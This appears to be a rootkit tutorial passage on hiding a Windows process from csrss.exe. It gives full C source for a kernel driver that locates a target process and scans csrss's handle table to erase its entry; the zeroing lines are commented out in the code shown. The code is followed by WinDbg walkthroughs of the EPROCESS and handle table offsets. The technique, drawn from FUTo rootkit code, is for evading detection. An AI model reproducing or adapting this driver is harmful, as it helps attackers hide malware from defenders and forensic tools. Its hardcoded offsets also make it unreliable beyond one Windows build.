Hiding from crss

 

Each time we create a process the eprocess address is stored within csrss.exe. Lets now remove our process id from csrss.exe.

 

r.c

#include <ntddk.h>

#include <stdio.h>

const WCHAR deviceLinkBuffer[]  = L"\\DosDevices\\sonal9";

const WCHAR deviceNameBuffer[]  = L"\\Device\\sonal9";

UNICODE_STRING deviceNameUnicodeString,deviceLinkUnicodeString;       

PDEVICE_OBJECT g_RootkitDevice;

typedef struct _TABLE_ENTRY

{

long object;

ACCESS_MASK security;

} TABLE_ENTRY, *PTABLE_ENTRY, **PPTABLE_ENTRY, ***PPPTABLE_ENTRY;

long FindProcessEPROCByName(char *p_name)

{

int current_PID,start_PID,len = 0;

PLIST_ENTRY plist_active_procs;

PEPROCESS eproc;

len=strlen(p_name);

eproc = PsGetCurrentProcess();

start_PID = *((long *)((long)eproc+0x84));

current_PID = start_PID;

while(1)

{

if(_strnicmp(p_name, (PVOID)((long)eproc+0x174) ,len) == 0)

return (long)eproc;

else

{

plist_active_procs = (LIST_ENTRY *) ((long)eproc+0x88);

(long)eproc = (long) plist_active_procs->Flink;

(long)eproc = (long) eproc - 0x88;

current_PID = *((long *)((long)eproc+0x84));

}

}

}

int EPROCESSHANDLETABLEOFFSET = 0xc4;

int HANDLETABLECOUNTOFFSET = 0x3c;

void EraseHandle(PEPROCESS csrsseproc, PVOID eproc)

{

PTABLE_ENTRY orig_tableEntry,*pp_tableEntry;

int a, b, c;

int i_numHandles, i_hperPage, i_numTables,i_handle;

i_numHandles = *(int*)((*(long *)((long) csrsseproc + EPROCESSHANDLETABLEOFFSET)) + HANDLETABLECOUNTOFFSET);

orig_tableEntry = (PTABLE_ENTRY)*(long *)((*(long *)((long) csrsseproc + EPROCESSHANDLETABLEOFFSET)) + 0);

DbgPrint("Hiding %x from %s i_numHandles=%d orig_tableEntry=%x", eproc, (long)csrsseproc+0x174,i_numHandles,orig_tableEntry);

i_numTables = ((long)orig_tableEntry & 3);

i_hperPage = PAGE_SIZE/sizeof(TABLE_ENTRY);  

pp_tableEntry = (PPTABLE_ENTRY)((long)orig_tableEntry & 0xfffffff8);

DbgPrint("i_numTables=%d i_hperPage=%d pp_tableEntry=%x",i_numTables,i_hperPage,pp_tableEntry);

for (a = 0; a < i_hperPage; a++)

{

DbgPrint("pp_tableEntry[a]=%x",pp_tableEntry[a]);

if (pp_tableEntry[a] == NULL)

break;

for (b = 0; b < i_hperPage; b++)

{

//DbgPrint("object=%08x %08x",pp_tableEntry[a][b].object,((pp_tableEntry[a][b].object | 0x80000000) & 0xfffffff8));

if (((pp_tableEntry[a][b].object | 0x80000000) & 0xfffffff8) == ((long)eproc - 0x18))

{

DbgPrint("crss.exe Handle = %x Object Header %x %x Security %x \n",((a*512)+b)*4, pp_tableEntry[a][b].object & 0xfffffff8,(int)eproc - 0x18 , pp_tableEntry[a][b].security);

//pp_tableEntry[a][b].object = 0;

//pp_tableEntry[a][b].security = 0;

}

}

}

}

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

IO_STACK_LOCATION *irpStack;

long *inputBuffer;

long pid,ioControlCode;

void *eproc,*csrsseproc;

irpStack = IoGetCurrentIrpStackLocation (Irp);

inputBuffer = (long *)Irp-> AssociatedIrp.SystemBuffer;

pid = *inputBuffer;

ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

PsLookupProcessByProcessId(pid,&eproc);

csrsseproc = (PEPROCESS)FindProcessEPROCByName("CSRSS.EXE\0");

DbgPrint("eproc=%x pid=%d csrsseproc=%x",eproc,pid,csrsseproc);

EraseHandle((PEPROCESS)csrsseproc, (PVOID)eproc);

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;  

}

NTSTATUS abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

DbgPrint("abcCreate");

return STATUS_SUCCESS;  

}

VOID OnUnload(PDRIVER_OBJECT DriverObject )

{         

UNICODE_STRING deviceLinkUnicodeString;

RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );

IoDeleteSymbolicLink( &deviceLinkUnicodeString );

IoDeleteDevice(DriverObject->DeviceObject);

DbgPrint("Unload5");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{

d->DriverUnload  = OnUnload;

DbgPrint("DriverEntry");

RtlInitUnicodeString (&deviceNameUnicodeString,deviceNameBuffer );

RtlInitUnicodeString (&deviceLinkUnicodeString,deviceLinkBuffer );

IoCreateDevice (d,0, &deviceNameUnicodeString,0,0,TRUE,&g_RootkitDevice );

IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString );

d->MajorFunction[IRP_MJ_CREATE]=abcCreate;

d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;

return STATUS_SUCCESS;

}

 

We pass the pid of  a program from the command line and we move straight into abcDevice. Here we first find the eprocess structure of our pid using the undocumented function PsLookupProcessByProcessId. Then we find the eprocess structure of the program csrss.exe using our function taken from the futo code. Then we call another function EraseHandle that will take the csrss eprocess and the eprocess of the pid we are trying to hide.

 

lkd> dt _EPROCESS 898c28b0

   +0x0c4 ObjectTable      : 0xe17059c0_HANDLE_TABLE

 

On our machine the eprocess address of csrss is 898c28b0 and c4 from the start is the offset where the handle table starts. In our case it starts at e17059c0. When we go to this location which is the address of the handle table of csrss we add an offset of  3c to get at the number of handles.

 

lkd> dd 0xe17059c0+0x3c

e17059fc  00000276 00000000 00000000 0001020a

 

We see that we have 630 or 0x276 handles open within csrss.

 

The handle table starts with a address of where the handles are stored. Thus we need to display the start of the handle table.

 

lkd> dd 0xe17059c0

e17059c0  e23f2001 898c28b0 00000298 00000000

 

We can see that the page that contains the handles begins at e23f2000and the depth is 1 as the page table has the first 12 bits as 0 and the depth of the tables is stored in the first 2 bits.

 

Now lets see what is stored at the page that will tell us what other pages contain the actual handles.

 

lkd> dd e23f2000

e23f2000  e19c3000 e23f3000 00000000 00000000

 

Thus we have two pages to store our handles, they begin at e19c3000 and e23f3000. Thus if we go to any of these pages in memory they will be full of process and thread handles.

 

lkd> dd e19c3000

e19c3000  00000000 fffffffe e1009539 000f0003

e19c3010  e15ac279 00000003 89aa47a3 00100020

e19c3020  e15c7531 000f000f 898bc2b1 001f0fff

 

Like the pspcidtable the handles are 8 bytes, the first the eprocess and the second the security mask which is non zero most of the time.

 

For some reason the eprocess structures stored are 0x18 less than the eprocess values. Thus when we compare the values we need to subtract 0x18 from eprocess and then check the object value after removing the first 12 bits.

 

The reason why we subtract 0x18 from the eprocess is because 0x18 is the size of the structure object_header. We assume that every eprocess structure starts with an object _header field which is 0x18 bytes large.